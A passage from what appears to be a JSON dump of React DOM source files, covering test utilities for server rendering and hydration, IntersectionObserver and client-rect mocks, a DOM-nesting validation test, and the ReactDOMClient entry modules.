expect(result).not.toBe(divInst);\n\n    ReactDOM.unmountComponentAtNode(container);\n    expect(ref).toHaveBeenCalledTimes(2);\n    expect(ref.mock.calls[1][0]).toBe(null);\n    expect(ref2).toHaveBeenCalledTimes(2);\n    expect(ref2.mock.calls[1][0]).toBe(null);\n\n    // null\n    result = ReactDOM.render(null, container);\n    expect(result).toBe(null);\n\n    // primitives\n    result = ReactDOM.render(5, container);\n    expect(result).toBeInstanceOf(Text);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/utils/IntersectionMocks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nconst intersectionObserverMock = {callback: null, observedTargets: []};\n\n/**\n * This is a broken polyfill.\n * It is only intended to provide bare minimum test coverage.\n * More meaningful tests will require the use of fixtures.\n */\nexport function mockIntersectionObserver() {\n  intersectionObserverMock.callback = null;\n  intersectionObserverMock.observedTargets = [];\n\n  class IntersectionObserver {\n    constructor() {\n      intersectionObserverMock.callback = arguments[0];\n    }\n\n    disconnect() {\n      intersectionObserverMock.callback = null;\n      intersectionObserverMock.observedTargets.splice(0);\n    }\n\n    observe(target) {\n      intersectionObserverMock.observedTargets.push(target);\n    }\n\n    unobserve(target) {\n      const index = intersectionObserverMock.observedTargets.indexOf(target);\n      if (index >= 0) {\n        intersectionObserverMock.observedTargets.splice(index, 1);\n      }\n    }\n  }\n\n  window.IntersectionObserver = IntersectionObserver;\n\n  return intersectionObserverMock;\n}\n\nexport function simulateIntersection(...entries) {\n  intersectionObserverMock.callback(\n    entries.map(([target, rect, ratio]) => ({\n      boundingClientRect: {\n        top: rect.y,\n        left: rect.x,\n        width: rect.width,\n        height: rect.height,\n      },\n      intersectionRatio: ratio,\n      target,\n    })),\n  );\n}\n\n/**\n * Stub out getBoundingClientRect for the specified target.\n * This API is required by the test selectors but it isn't implemented by jsdom.\n */\nexport function setBoundingClientRect(target, {x, y, width, height}) {\n  target.getBoundingClientRect = function () {\n    return {\n      width,\n      height,\n      left: x,\n      right: x + width,\n      top: y,\n      bottom: y + height,\n    };\n  };\n}\n\n/**\n * Stub out getClientRects for the specified target.\n */\nexport function setClientRects(target, rects) {\n  target.getClientRects = function () {\n    return rects.map(({x, y, width, height}) => ({\n      width,\n      height,\n      left: x,\n      right: x + width,\n      top: y,\n      bottom: y + height,\n      x,\n      y,\n    }));\n  };\n}\n\n/**\n * Mock Range.prototype.getClientRects and getBoundingClientRect since jsdom doesn't implement them.\n * Call this in beforeEach to set up the mock.\n */\nexport function mockRangeClientRects(\n  rects = [{x: 0, y: 0, width: 100, height: 20}],\n) {\n  const originalCreateRange = document.createRange;\n  document.createRange = function () {\n    const range = originalCreateRange.call(document);\n    range.getClientRects = function () {\n      return rects.map(({x, y, width, height}) => ({\n        width,\n        height,\n        left: x,\n        right: x + width,\n        top: y,\n        bottom: y + height,\n        x,\n        y,\n      }));\n    };\n    range.getBoundingClientRect = function () {\n      // Return the bounding rect that encompasses all rects\n      if (rects.length === 0) {\n        return {\n          width: 0,\n          height: 0,\n          left: 0,\n          right: 0,\n          top: 0,\n          bottom: 0,\n          x: 0,\n          y: 0,\n        };\n      }\n      const first = rects[0];\n      return {\n        width: first.width,\n        height: first.height,\n        left: first.x,\n        right: first.x + first.width,\n        top: first.y,\n        bottom: first.y + first.height,\n        x: first.x,\n        y: first.y,\n      };\n    };\n    return range;\n  };\n  return function restore() {\n    document.createRange = originalCreateRange;\n  };\n}\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/utils/ReactDOMServerIntegrationTestUtils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst stream = require('stream');\nconst shouldIgnoreConsoleError = require('internal-test-utils/shouldIgnoreConsoleError');\n\nmodule.exports = function (initModules) {\n  let ReactDOM;\n  let ReactDOMClient;\n  let ReactDOMServer;\n  let act;\n\n  function resetModules() {\n    ({ReactDOM, ReactDOMClient, ReactDOMServer} = initModules());\n    act = require('internal-test-utils').act;\n  }\n\n  function shouldUseDocument(reactElement) {\n    // Used for whole document tests.\n    return reactElement && reactElement.type === 'html';\n  }\n\n  function getContainerFromMarkup(reactElement, markup) {\n    if (shouldUseDocument(reactElement)) {\n      const doc = document.implementation.createHTMLDocument('');\n      doc.open();\n      doc.write(\n        markup ||\n          '<!doctype html><html><meta charset=utf-8><title>test doc</title>',\n      );\n      doc.close();\n      return doc;\n    } else {\n      const container = document.createElement('div');\n      container.innerHTML = markup;\n      return container;\n    }\n  }\n\n  // Helper functions for rendering tests\n  // ====================================\n\n  // promisified version of ReactDOM.render()\n  async function asyncReactDOMRender(reactElement, domElement, forceHydrate) {\n    if (forceHydrate) {\n      await act(() => {\n        ReactDOMClient.hydrateRoot(domElement, reactElement, {\n          onRecoverableError(e) {\n            if (\n              e.message.startsWith(\n                'There was an error while hydrating. Because the error happened outside of a Suspense boundary, the entire root will switch to client rendering.',\n              )\n            ) {\n              // We ignore this extra error because it shouldn't really need to be there if\n              // a hydration mismatch is the cause of it.\n            } else {\n              console.error(e);\n            }\n          },\n        });\n      });\n    } else {\n      await act(() => {\n        if (ReactDOMClient) {\n          const root = ReactDOMClient.createRoot(domElement);\n          root.render(reactElement);\n        } else {\n          ReactDOM.render(reactElement, domElement);\n        }\n      });\n    }\n  }\n  // performs fn asynchronously and expects count errors logged to console.error.\n  // will fail the test if the count of errors logged is not equal to count.\n  async function expectErrors(fn, count) {\n    if (console.error.mockClear) {\n      console.error.mockClear();\n    } else {\n      // TODO: Rewrite tests that use this helper to enumerate expected errors.\n      // This will enable the helper to use the assertConsoleErrorDev instead of spying.\n      spyOnDev(console, 'error').mockImplementation(() => {});\n    }\n\n    const result = await fn();\n    if (\n      console.error.mock &&\n      console.error.mock.calls &&\n      console.error.mock.calls.length !== 0\n    ) {\n      const filteredWarnings = [];\n      for (let i = 0; i < console.error.mock.calls.length; i++) {\n        const args = console.error.mock.calls[i];\n        const [format, ...rest] = args;\n        if (!shouldIgnoreConsoleError(format, rest)) {\n          filteredWarnings.push(args);\n        }\n      }\n      if (filteredWarnings.length !== count) {\n        console.log(\n          `We expected ${count} warning(s), but saw ${filteredWarnings.length} warning(s).`,\n        );\n        if (filteredWarnings.length > 0) {\n          console.log(`We saw these warnings:`);\n          for (let i = 0; i < filteredWarnings.length; i++) {\n            console.log(...filteredWarnings[i]);\n          }\n        }\n        if (__DEV__) {\n          expect(console.error).toHaveBeenCalledTimes(count);\n        }\n      }\n    }\n    return result;\n  }\n\n  // renders the reactElement into domElement, and expects a certain number of errors.\n  // returns a Promise that resolves when the render is complete.\n  function renderIntoDom(\n    reactElement,\n    domElement,\n    forceHydrate,\n    errorCount = 0,\n  ) {\n    return expectErrors(async () => {\n      await asyncReactDOMRender(reactElement, domElement, forceHydrate);\n      return domElement.firstChild;\n    }, errorCount);\n  }\n\n  async function renderIntoString(reactElement, errorCount = 0) {\n    return await expectErrors(\n      () =>\n        new Promise(resolve =>\n          resolve(ReactDOMServer.renderToString(reactElement)),\n        ),\n      errorCount,\n    );\n  }\n\n  // Renders text using SSR and then stuffs it into a DOM node; returns the DOM\n  // element that corresponds with the reactElement.\n  // Does not render on client or perform client-side revival.\n  async function serverRender(reactElement, errorCount = 0) {\n    const markup = await renderIntoString(reactElement, errorCount);\n    return getContainerFromMarkup(reactElement, markup).firstChild;\n  }\n\n  // this just drains a readable piped into it to a string, which can be accessed\n  // via .buffer.\n  class DrainWritable extends stream.Writable {\n    constructor(options) {\n      super(options);\n      this.buffer = '';\n    }\n\n    _write(chunk, encoding, cb) {\n      this.buffer += chunk;\n      cb();\n    }\n  }\n\n  async function renderIntoStream(reactElement, errorCount = 0) {\n    return await expectErrors(\n      () =>\n        new Promise((resolve, reject) => {\n          const writable = new DrainWritable();\n          const s = ReactDOMServer.renderToPipeableStream(reactElement, {\n            onShellError(e) {\n              reject(e);\n            },\n          });\n          s.pipe(writable);\n          writable.on('finish', () => resolve(writable.buffer));\n        }),\n      errorCount,\n    );\n  }\n\n  // Renders text using node stream SSR and then stuffs it into a DOM node;\n  // returns the DOM element that corresponds with the reactElement.\n  // Does not render on client or perform client-side revival.\n  async function streamRender(reactElement, errorCount = 0) {\n    const markup = await renderIntoStream(reactElement, errorCount);\n    let firstNode = getContainerFromMarkup(reactElement, markup).firstChild;\n    if (firstNode && firstNode.nodeType === Node.DOCUMENT_TYPE_NODE) {\n      // Skip document type nodes.\n      firstNode = firstNode.nextSibling;\n    }\n    return firstNode;\n  }\n\n  const clientCleanRender = (element, errorCount = 0) => {\n    if (shouldUseDocument(element)) {\n      // Documents can't be rendered from scratch.\n      return clientRenderOnServerString(element, errorCount);\n    }\n    const container = document.createElement('div');\n    return renderIntoDom(element, container, false, errorCount);\n  };\n\n  const clientRenderOnServerString = async (element, errorCount = 0) => {\n    const markup = await renderIntoString(element, errorCount);\n    resetModules();\n\n    const container = getContainerFromMarkup(element, markup);\n    let serverNode = container.firstChild;\n\n    const firstClientNode = await renderIntoDom(\n      element,\n      container,\n      true,\n      errorCount,\n    );\n    let clientNode = firstClientNode;\n\n    // Make sure all top level nodes match up\n    while (serverNode || clientNode) {\n      expect(serverNode != null).toBe(true);\n      expect(clientNode != null).toBe(true);\n      expect(clientNode.nodeType).toBe(serverNode.nodeType);\n      // Assert that the DOM element hasn't been replaced.\n      // Note that we cannot use expect(serverNode).toBe(clientNode) because\n      // of jest bug #1772.\n      expect(serverNode === clientNode).toBe(true);\n      serverNode = serverNode.nextSibling;\n      clientNode = clientNode.nextSibling;\n    }\n    return firstClientNode;\n  };\n\n  function BadMarkupExpected() {}\n\n  const clientRenderOnBadMarkup = async (element, errorCount = 0) => {\n    // First we render the top of bad mark up.\n\n    const container = getContainerFromMarkup(\n      element,\n      shouldUseDocument(element)\n        ? '<html><body><div id=\"badIdWhichWillCauseMismatch\" /></body></html>'\n        : '<div id=\"badIdWhichWillCauseMismatch\"></div>',\n    );\n\n    await renderIntoDom(element, container, true, errorCount + 1);\n\n    // This gives us the resulting text content.\n    const hydratedTextContent =\n      container.lastChild && container.lastChild.textContent;\n\n    // Next we render the element into a clean DOM node client side.\n    let cleanContainer;\n    if (shouldUseDocument(element)) {\n      // We can't render into a document during a clean render,\n      // so instead, we'll render the children into the document element.\n      cleanContainer = getContainerFromMarkup(\n        element,\n        '<html></html>',\n      ).documentElement;\n      element = element.props.children;\n    } else {\n      cleanContainer = document.createElement('div');\n    }\n    await asyncReactDOMRender(element, cleanContainer, true);\n    // This gives us the expected text content.\n    const cleanTextContent =\n      (cleanContainer.lastChild && cleanContainer.lastChild.textContent) || '';\n\n    // The only guarantee is that text content has been patched up if needed.\n    expect(hydratedTextContent).toBe(cleanTextContent);\n\n    // Abort any further expects. All bets are off at this point.\n    throw new BadMarkupExpected();\n  };\n\n  // runs a DOM rendering test as four different tests, with four different rendering\n  // scenarios:\n  // -- render to string on server\n  // -- render on client without any server markup \"clean client render\"\n  // -- render on client on top of good server-generated string markup\n  // -- render on client on top of bad server-generated markup\n  //\n  // testFn is a test that has one arg, which is a render function. the render\n  // function takes in a ReactElement and an optional expected error count and\n  // returns a promise of a DOM Element.\n  //\n  // You should only perform tests that examine the DOM of the results of\n  // render; you should not depend on the interactivity of the returned DOM element,\n  // as that will not work in the server string scenario.\n  function itRenders(desc, testFn) {\n    it(`renders ${desc} with server string render`, () => testFn(serverRender));\n    it(`renders ${desc} with server stream render`, () => testFn(streamRender));\n    itClientRenders(desc, testFn);\n  }\n\n  // run testFn in three different rendering scenarios:\n  // -- render on client without any server markup \"clean client render\"\n  // -- render on client on top of good server-generated string markup\n  // -- render on client on top of bad server-generated markup\n  //\n  // testFn is a test that has one arg, which is a render function. the render\n  // function takes in a ReactElement and an optional expected error count and\n  // returns a promise of a DOM Element.\n  //\n  // Since all of the renders in this function are on the client, you can test interactivity,\n  // unlike with itRenders.\n  function itClientRenders(desc, testFn) {\n    it(`renders ${desc} with clean client render`, () =>\n      testFn(clientCleanRender));\n    it(`renders ${desc} with client render on top of good server markup`, () =>\n      testFn(clientRenderOnServerString));\n    it(`renders ${desc} with client render on top of bad server markup`, async () => {\n      try {\n        await testFn(clientRenderOnBadMarkup);\n      } catch (x) {\n        // We expect this to trigger the BadMarkupExpected rejection.\n        if (!(x instanceof BadMarkupExpected)) {\n          // If not, rethrow.\n          throw x;\n        }\n      }\n    });\n  }\n\n  function itThrows(desc, testFn, partialMessage) {\n    it(`throws ${desc}`, () => {\n      return testFn().then(\n        () => expect(false).toBe('The promise resolved and should not have.'),\n        err => {\n          expect(err).toBeInstanceOf(Error);\n          expect(err.message).toContain(partialMessage);\n        },\n      );\n    });\n  }\n\n  function itThrowsWhenRendering(desc, testFn, partialMessage) {\n    itThrows(\n      `when rendering ${desc} with server string render`,\n      () => testFn(serverRender),\n      partialMessage,\n    );\n    itThrows(\n      `when rendering ${desc} with clean client render`,\n      () => testFn(clientCleanRender),\n      partialMessage,\n    );\n\n    // we subtract one from the warning count here because the throw means that it won't\n    // get the usual markup mismatch warning.\n    itThrows(\n      `when rendering ${desc} with client render on top of bad server markup`,\n      () =>\n        testFn((element, warningCount = 0) =>\n          clientRenderOnBadMarkup(element, warningCount - 1),\n        ),\n      partialMessage,\n    );\n  }\n\n  // renders serverElement to a string, sticks it into a DOM element, and then\n  // tries to render clientElement on top of it. shouldMatch is a boolean\n  // telling whether we should expect the markup to match or not.\n  async function testMarkupMatch(serverElement, clientElement, shouldMatch) {\n    const domElement = await serverRender(serverElement);\n    resetModules();\n    return renderIntoDom(\n      clientElement,\n      domElement.parentNode,\n      true,\n      shouldMatch ? 0 : 1,\n    );\n  }\n\n  // expects that rendering clientElement on top of a server-rendered\n  // serverElement does NOT raise a markup mismatch warning.\n  function expectMarkupMatch(serverElement, clientElement) {\n    return testMarkupMatch(serverElement, clientElement, true);\n  }\n\n  // expects that rendering clientElement on top of a server-rendered\n  // serverElement DOES raise a markup mismatch warning.\n  function expectMarkupMismatch(serverElement, clientElement) {\n    return testMarkupMatch(serverElement, clientElement, false);\n  }\n\n  return {\n    resetModules,\n    expectMarkupMismatch,\n    expectMarkupMatch,\n    itRenders,\n    itClientRenders,\n    itThrowsWhenRendering,\n    asyncReactDOMRender,\n    serverRender,\n    clientCleanRender,\n    clientRenderOnBadMarkup,\n    clientRenderOnServerString,\n    renderIntoDom,\n    streamRender,\n  };\n};\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/validateDOMNesting-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst React = require('react');\nconst ReactDOM = require('react-dom');\nconst ReactDOMClient = require('react-dom/client');\nconst assertConsoleErrorDev =\n  require('internal-test-utils').assertConsoleErrorDev;\n\nfunction expectWarnings(tags, warnings = []) {\n  tags = [...tags];\n  warnings = [...warnings];\n\n  document.removeChild(document.documentElement);\n  document.appendChild(document.createElement('html'));\n  document.documentElement.innerHTML = '<head></head><body></body>';\n\n  let element = null;\n  const containerTag = tags.shift();\n  let container;\n  switch (containerTag) {\n    case '#document':\n      container = document;\n      break;\n    case 'html':\n      container = document.documentElement;\n      break;\n    case 'body':\n      container = document.body;\n      break;\n    case 'head':\n      container = document.head;\n      break;\n    case 'svg':\n      container = document.createElementNS('http://www.w3.org/2000/svg', 'svg');\n      break;\n    default:\n      container = document.createElement(containerTag);\n      break;\n  }\n\n  while (tags.length) {\n    const Tag = tags.pop();\n    if (Tag === '#text') {\n      element = 'text';\n    } else {\n      element = <Tag>{element}</Tag>;\n    }\n  }\n\n  const root = ReactDOMClient.createRoot(container);\n  ReactDOM.flushSync(() => {\n    root.render(element);\n  });\n  if (warnings.length) {\n    assertConsoleErrorDev(warnings);\n  }\n  root.unmount();\n}\n\ndescribe('validateDOMNesting', () => {\n  it('allows valid nestings', () => {\n    expectWarnings(['table', 'tbody', 'tr', 'td', 'b']);\n    expectWarnings(['body', 'datalist', 'option']);\n    expectWarnings(['div', 'a', 'object', 'a']);\n    expectWarnings(['div', 'p', 'button', 'p']);\n    expectWarnings(['p', 'svg', 'foreignObject', 'p']);\n    expectWarnings(['html', 'body', 'div']);\n\n    // Invalid, but not changed by browser parsing so we allow them\n    expectWarnings(['div', 'ul', 'ul', 'li']);\n    expectWarnings(['div', 'label', 'div']);\n    expectWarnings(['div', 'ul', 'li', 'section', 'li']);\n    expectWarnings(['div', 'ul', 'li', 'dd', 'li']);\n  });\n\n  it('prevents problematic nestings', () => {\n    expectWarnings(\n      ['a', 'a'],\n      [\n        'In HTML, <a> cannot be a descendant of <a>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in a (at **)',\n      ],\n    );\n    expectWarnings(\n      ['form', 'form'],\n      [\n        'In HTML, <form> cannot be a descendant of <form>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in form (at **)',\n      ],\n    );\n    expectWarnings(\n      ['p', 'p'],\n      [\n        'In HTML, <p> cannot be a descendant of <p>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in p (at **)',\n      ],\n    );\n    expectWarnings(\n      ['table', 'tr'],\n      [\n        'In HTML, <tr> cannot be a child of <table>. ' +\n          'Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by the browser.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in tr (at **)',\n      ],\n    );\n    expectWarnings(\n      ['div', 'ul', 'li', 'div', 'li'],\n\n      [\n        'In HTML, <li> cannot be a descendant of <li>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <ul>\\n' +\n          '>   <li>\\n' +\n          '      <div>\\n' +\n          '>       <li>\\n' +\n          '\\n' +\n          '    in li (at **)',\n        '<li> cannot contain a nested <li>.\\nSee this log for the ancestor stack trace.\\n' +\n          '    in li (at **)',\n      ],\n    );\n    expectWarnings(\n      ['div', 'html'],\n      [\n        'In HTML, <html> cannot be a child of <div>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in html (at **)',\n      ],\n    );\n    expectWarnings(\n      ['body', 'body'],\n      [\n        'In HTML, <body> cannot be a child of <body>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in body (at **)',\n      ],\n    );\n    expectWarnings(\n      ['head', 'body'],\n      [\n        'In HTML, <body> cannot be a child of <head>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in body (at **)',\n      ],\n    );\n    expectWarnings(\n      ['head', 'head'],\n      [\n        'In HTML, <head> cannot be a child of <head>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in head (at **)',\n      ],\n    );\n    expectWarnings(\n      ['html', 'html'],\n      [\n        'In HTML, <html> cannot be a child of <html>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in html (at **)',\n      ],\n    );\n    expectWarnings(\n      ['body', 'html'],\n      [\n        'In HTML, <html> cannot be a child of <body>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in html (at **)',\n      ],\n    );\n    expectWarnings(\n      ['head', 'html'],\n      [\n        'In HTML, <html> cannot be a child of <head>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '    in html (at **)',\n      ],\n    );\n    expectWarnings(\n      ['svg', 'foreignObject', 'body', 'p'],\n      [\n        // TODO, this should say \"In SVG\",\n        'In HTML, <body> cannot be a child of <foreignObject>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '> <foreignObject>\\n' +\n          '>   <body>\\n' +\n          '\\n' +\n          '    in body (at **)',\n      ],\n    );\n  });\n\n  it('relaxes the nesting rules at the root when the container is a singleton', () => {\n    expectWarnings(['#document', 'html']);\n    expectWarnings(['#document', 'body']);\n    expectWarnings(['#document', 'head']);\n    expectWarnings(['#document', 'div']);\n    expectWarnings(['#document', 'meta']);\n    expectWarnings(['#document', '#text']);\n    expectWarnings(['html', 'body']);\n    expectWarnings(['html', 'head']);\n    expectWarnings(['html', 'div']);\n    expectWarnings(['html', 'meta']);\n    expectWarnings(['html', '#text']);\n    expectWarnings(['body', 'head']);\n    expectWarnings(['body', 'div']);\n    expectWarnings(['body', 'meta']);\n    expectWarnings(['body', '#text']);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/client/ReactDOMClient.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {createRoot, hydrateRoot} from './ReactDOMRoot';\n\nimport {\n  injectIntoDevTools,\n  findHostInstance,\n} from 'react-reconciler/src/ReactFiberReconciler';\nimport {canUseDOM} from 'shared/ExecutionEnvironment';\nimport ReactVersion from 'shared/ReactVersion';\n\nimport Internals from 'shared/ReactDOMSharedInternals';\n\nimport {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';\nensureCorrectIsomorphicReactVersion();\n\nif (__DEV__) {\n  if (\n    typeof Map !== 'function' ||\n    // $FlowFixMe[prop-missing] Flow incorrectly thinks Map has no prototype\n    Map.prototype == null ||\n    typeof Map.prototype.forEach !== 'function' ||\n    typeof Set !== 'function' ||\n    // $FlowFixMe[prop-missing] Flow incorrectly thinks Set has no prototype\n    Set.prototype == null ||\n    typeof Set.prototype.clear !== 'function' ||\n    typeof Set.prototype.forEach !== 'function'\n  ) {\n    console.error(\n      'React depends on Map and Set built-in types. Make sure that you load a ' +\n        'polyfill in older browsers. https://react.dev/link/react-polyfills',\n    );\n  }\n}\n\nfunction findDOMNode(\n  componentOrElement: component(...props: any),\n): null | Element | Text {\n  return findHostInstance(componentOrElement);\n}\n\n// Expose findDOMNode on internals\nInternals.findDOMNode = findDOMNode;\n\nexport {ReactVersion as version, createRoot, hydrateRoot};\n\nconst foundDevTools = injectIntoDevTools();\n\nif (__DEV__) {\n  if (!foundDevTools && canUseDOM && window.top === window.self) {\n    // If we're in Chrome or Firefox, provide a download link if not installed.\n    if (\n      (navigator.userAgent.indexOf('Chrome') > -1 &&\n        navigator.userAgent.indexOf('Edge') === -1) ||\n      navigator.userAgent.indexOf('Firefox') > -1\n    ) {\n      const protocol = window.location.protocol;\n      // Don't warn in exotic cases like chrome-extension://.\n      if (/^(https?|file):$/.test(protocol)) {\n        // eslint-disable-next-line react-internal/no-production-logging\n        console.info(\n          '%cDownload the React DevTools ' +\n            'for a better development experience: ' +\n            'https://react.dev/link/react-devtools' +\n            (protocol === 'file:'\n              ? '\\nYou might need to use a local HTTP server (instead of file://): ' +\n                'https://react.dev/link/react-devtools-faq'\n              : ''),\n          'font-weight:bold',\n        );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom/src/client/ReactDOMClientFB.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport {disableLegacyMode} from 'shared/ReactFeatureFlags';\nimport {isValidContainer} from 'react-dom-bindings/src/client/ReactDOMContainer';\nimport {createEventHandle} from 'react-dom-bindings/src/client/ReactDOMEventHandle';\nimport {runWithPriority} from 'react-dom-bindings/src/client/ReactDOMUpdatePriority';\nimport {flushSync as flushSyncIsomorphic} from '../shared/ReactDOMFlushSync';\n\nimport {\n  flushSyncFromReconciler as flushSyncWithoutWarningIfAlreadyRendering,\n  isAlreadyRendering,\n  injectIntoDevTools,\n  findHostInstance,\n} from 'react-reconciler/src/ReactFiberReconciler';\nimport {createPortal as createPortalImpl} from 'react-reconciler/src/ReactPortal';\nimport {canUseDOM} from 'shared/ExecutionEnvironment';\nimport ReactVersion from 'shared/ReactVersion';\n\nimport {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';\nensureCorrectIsomorphicReactVersion();\n\nimport {\n  getInstanceFromNode,\n  getNodeFromInstance,\n  getFiberCurrentPropsFromNode,\n} from 'react-dom-bindings/src/client/ReactDOMComponentTree';\nimport {\n  enqueueStateRestore,\n  restoreStateIfNeeded,\n} from 'react-dom-bindings/src/events/ReactDOMControlledComponent';\nimport Internals from '../ReactDOMSharedInternalsFB';\n\nexport {\n  prefetchDNS,\n  preconnect,\n  preload,\n  preloadModule,\n  preinit,\n  preinitModule,\n} from '../shared/ReactDOMFloat';\nexport {\n  useFormStatus,\n  useFormState,\n  requestFormReset,\n} from 'react-dom-bindings/src/shared/ReactDOMFormActions';\n\nif (__DEV__) {\n  if (\n    typeof Map !== 'function' ||\n    // $FlowFixMe[prop-missing] Flow incorrectly thinks Map has no prototype\n    Map.prototype == null ||\n    typeof Map.prototype.forEach !== 'function' ||\n    typeof Set !== 'function' ||\n    // $FlowFixMe[prop-missing] Flow incorrectly thinks Set has no prototype\n    Set.prototype == null ||\n    typeof Set.prototype.clear !== 'function' ||\n    typeof Set.prototype.forEach !== 'function'\n  ) {\n    console.error(\n      'React depends on Map and Set built-in types. Make sure that you load a ' +\n        'polyfill in older browsers. https://react.dev/link/react-polyfills',\n    );\n  }\n}\n\nfunction createPortal(\n  children: ReactNodeList,\n  container: Element | DocumentFragment,\n  key: ?string = null,\n): React$Portal {\n  if (!isValidContainer(container)) {\n    throw new Error('Target container is not a DOM element.');\n  }\n\n  // TODO: pass ReactDOM portal implementation as third argument\n  // $FlowFixMe[incompatible-return] The Flow type is opaque but there's no way to actually create it.\n  return createPortalImpl(children, container, null, key);\n}\n\n// Overload the definition to the two valid signatures.\n// Warning, this opts-out of checking the function body.\ndeclare function flushSyncFromReconciler<R>(fn: () => R): R;\ndeclare function flushSyncFromReconciler(): void;\nfunction flushSyncFromReconciler<R>(fn: (() => R) | void): R | void {\n  if (__DEV__) {\n    if (isAlreadyRendering()) {\n      console.error(\n        'flushSync was called from inside a lifecycle method. React cannot ' +\n          'flush when React is already rendering. Consider moving this call to ' +\n          'a scheduler task or micro task.',\n      );\n    }\n  }\n  // $FlowFixMe[incompatible-call]\n  return flushSyncWithoutWarningIfAlreadyRendering(fn);\n}\n\nconst flushSync: typeof flushSyncIsomorphic = disableLegacyMode\n  ? flushSyncIsomorphic\n  : flushSyncFromReconciler;\n\nfunction findDOMNode(\n  componentOrElement: component(...props: any),\n): null | Element | Text {\n  return findHostInstance(componentOrElement);\n}\n\n// Expose findDOMNode on internals\nInternals.findDOMNode = findDOMNode;\n\nfunction unstable_batchedUpdates<A, R>(fn: (a: A) => R, a: A): R {\n  // batchedUpdates was a legacy mode feature that is a no-op outside of\n  // legacy mode. In 19, we made it an actual no-op, but we're keeping it\n  // for now since there may be libraries that still include it.\n  return fn(a);\n}\n\nexport {\n  createPortal,\n  unstable_batchedUpdates,\n  flushSync,\n  ReactVersion as version,\n  // enableCreateEventHandleAPI\n  createEventHandle as unstable_createEventHandle,\n  // TODO: Remove this once callers migrate to alternatives.\n  // This should only be used by React internals.\n  runWithPriority as unstable_runWithPriority,\n};\n\n// Keep in sync with ReactTestUtils.js.\n// This is an array for better minification.\nInternals.Events /* Events */ = [\n  getInstanceFromNode,\n  getNodeFromInstance,\n  getFiberCurrentPropsFromNode,\n  enqueueStateRestore,\n  restoreStateIfNeeded,\n  unstable_batchedUpdates,\n];\n\nconst foundDevTools = injectIntoDevTools();\n\nif (__DEV__) {\n  if (!foundDevTools && canUseDOM && window.top === window.self) {\n    // If we're in Chrome or Firefox, provide a download link if not installed.\n    if (\n      (navigator.userAgent.indexOf('Chrome') > -1 &&\n        navigator.userAgent.indexOf('Edge') === -1) ||\n      navigator.userAgent.indexOf('Firefox') > -1\n    ) {\n      const protocol = window.location.protocol;\n      // Don't warn in exotic cases like chrome-extension://.\n      if (/^(https?|file):$/.test(protocol)) {\n        // eslint-disable-next-line react-internal/no-production-logging\n        console.info(\n          '%cDownload the React DevTools ' +\n            'for a better development experience: ' +\n            'https://react.dev/link/react-devtools' +\n            (protocol === 'file:'\n              ? '\\nYou might need to use a local HTTP server (instead of file://): ' +\n                'https://react.dev/link/react-devtools-faq'\n              : ''),\n          'font-weight:bold',\n        );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom/src/client/ReactDOMDefaultTransitionIndicator.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function defaultOnDefaultTransitionIndicator(): void | (() => void) {\n  if (typeof navigation !== 'object') {\n    // If the Navigation API is not available, then this is a noop.\n    return;\n  }\n\n  let isCancelled = false;\n  let pendingResolve: null | (() => void) = null;\n\n  function handleNavigate(event: NavigateEvent) {\n    if (event.canIntercept && event.info === 'react-transition') {\n      event.intercept({\n        handler() {\n          return new Promise(resolve => (pendingResolve = resolve));\n        },\n        focusReset: 'manual',\n        scroll: 'manual',\n      });\n    }\n  }\n\n  function handleNavigateComplete() {\n    if (pendingResolve !== null) {\n      // If this was not our navigation completing, we were probably cancelled.\n      // We'll start a new one below.\n      pendingResolve();\n      pendingResolve = null;\n    }\n    if (!isCancelled) {\n      // Some other navigation completed but we should still be running.\n      // Start another fake one to keep the loading indicator going.\n      // There needs to be an async gap to work around https://issues.chromium.org/u/1/issues/419746417.\n      setTimeout(startFakeNavigation, 20);\n    }\n  }\n\n  // $FlowFixMe\n  navigation.addEventListener('navigate', handleNavigate);\n  // $FlowFixMe\n  navigation.addEventListener('navigatesuccess', handleNavigateComplete);\n  // $FlowFixMe\n  navigation.addEventListener('navigateerror', 